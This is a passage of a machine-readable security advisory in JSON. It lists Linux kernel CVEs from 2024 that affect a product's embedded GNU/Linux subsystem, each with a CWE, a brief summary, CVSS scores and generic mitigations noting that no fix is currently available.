          "cvss_v3": {
            "baseScore": 4.6,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:U/C:N/I:H/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-24857"
    },
    {
      "cve": "CVE-2024-24858",
      "cwe": {
        "id": "CWE-362",
        "name": "Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "A race condition was found in the Linux kernel\u0027s net/bluetooth in {conn,adv}_{min,max}_interval_set() function. This can result in I2cap connection or broadcast abnormality issue, possibly leading to denial of service.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.6,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:U/C:N/I:L/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-24858"
    },
    {
      "cve": "CVE-2024-24859",
      "cwe": {
        "id": "CWE-362",
        "name": "Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "A race condition was found in the Linux kernel\u0027s net/bluetooth in sniff_{min,max}_interval_set() function. This can result in a bluetooth sniffing exception issue, possibly leading denial of service.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.6,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:U/C:N/I:L/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-24859"
    },
    {
      "cve": "CVE-2024-25739",
      "cwe": {
        "id": "CWE-754",
        "name": "Improper Check for Unusual or Exceptional Conditions"
      },
      "notes": [
        {
          "category": "summary",
          "text": "create_empty_lvol in drivers/mtd/ubi/vtbl.c in the Linux kernel through 6.7.4 can attempt to allocate zero bytes, and crash, because of a missing check for ubi-\u003eleb_size.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-25739"
    },
    {
      "cve": "CVE-2024-26629",
      "cwe": {
        "id": "CWE-393",
        "name": "Return of Wrong Status Code"
      },
      "notes": [
        {
          "category": "summary",
          "text": "nfsd: The test on so_count in nfsd4_release_lockowner() is potentially harmful. It can transiently return a false positive resulting in a return of NFS4ERR_LOCKS_HELD when in fact no locks are held. This is clearly a protocol violation and with the Linux NFS client it can cause incorrect behaviour.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26629"
    },
    {
      "cve": "CVE-2024-26642",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nnetfilter: nf_tables: disallow anonymous set with timeout flag",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26642"
    },
    {
      "cve": "CVE-2024-26643",
      "cwe": {
        "id": "CWE-667",
        "name": "Improper Locking"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nnetfilter: nf_tables: mark set as dead when unbinding anonymous set with timeout",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26643"
    },
    {
      "cve": "CVE-2024-26651",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "sr9800: Local Denial of Service Vulnerability.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26651"
    },
    {
      "cve": "CVE-2024-26659",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "xhci: isoc Babble and Buffer Overrun events are not handled properly.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26659"
    },
    {
      "cve": "CVE-2024-26787",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "mmc: mmci: stm32: Fixed issue with overlapping mappings in the DMA API.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26787"
    },
    {
      "cve": "CVE-2024-26810",
      "cwe": {
        "id": "CWE-362",
        "name": "Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nvfio/pci: Lock external INTx masking ops",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.4,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26810"
    },
    {
      "cve": "CVE-2024-26812",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nvfio/pci: Create persistent INTx handler",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26812"
    },
    {
      "cve": "CVE-2024-26816",
      "cwe": {
        "id": "CWE-212",
        "name": "Improper Removal of Sensitive Information Before Storage or Transfer"
      },
      "notes": [
        {
          "category": "summary",
          "text": "x86, relocs: relocations in .notes section. When building with CONFIG_XEN_PV=y, .text symbols are emitted into the .notes section so that Xen can find the \"startup_xen\" entry point.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.0,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26816"
    },
    {
      "cve": "CVE-2024-26820",
      "cwe": {
        "id": "CWE-99",
        "name": "Improper Control of Resource Identifiers (\u0027Resource Injection\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "hv_netvsc: Register VF in netvsc_probe if NET_DEVICE_REGISTER missed.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.4,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26820"
    },
    {
      "cve": "CVE-2024-26851",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "netfilter: nf_conntrack_h323: Add protection for bmp length out of range.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26851"
    },
    {
      "cve": "CVE-2024-26852",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "net/ipv6: possible UAF in ip6_route_mpath_notify().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.0,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26852"
    },
    {
      "cve": "CVE-2024-26855",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "net: ice: Fix potential NULL pointer dereference in ice_bridge_setlink().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26855"
    },
    {
      "cve": "CVE-2024-26859",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "net/bnx2x: Race condition leading to system crash during EEH error handling.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26859"
    },
    {
      "cve": "CVE-2024-26861",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "wireguard: receive: data-race around receiving_counter.counter.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26861"
    },
    {
      "cve": "CVE-2024-26863",
      "cwe": {
        "id": "CWE-908",
        "name": "Use of Uninitialized Resource"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: hsr: Fix uninit-value access in hsr_get_node().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26863"
    },
    {
      "cve": "CVE-2024-26870",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "NFSv4.2: fix nfs4_listxattr kernel BUG at mm/usercopy.c:102.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26870"
    },
    {
      "cve": "CVE-2024-26872",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "RDMA/srpt: use-after-free Write in srpt_refresh_port().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26872"
    },
    {
      "cve": "CVE-2024-26875",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "media: pvrusb2: fix uaf in pvr2_context_set_notify.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26875"
    },
    {
      "cve": "CVE-2024-26877",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "crypto: xilinx - call finalize with bh disabled.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26877"
    },
    {
      "cve": "CVE-2024-26878",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: quota: Fix potential NULL pointer dereference.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.7,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26878"
    },
    {
      "cve": "CVE-2024-26880",
      "cwe": {
        "id": "CWE-99",
        "name": "Improper Control of Resource Identifiers (\u0027Resource Injection\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: dm: call the resume method on internal suspend.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.4,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26880"
    },
    {
      "cve": "CVE-2024-26882",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "net: ip_tunnel: make sure to pull inner header in ip_tunnel_rcv().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26882"
    },
    {
      "cve": "CVE-2024-26883",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "bpf: Fix stackmap overflow check on 32-bit arches.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26883"
    },
    {
      "cve": "CVE-2024-26884",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "bpf: Fix hashtab overflow check on 32-bit arches.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
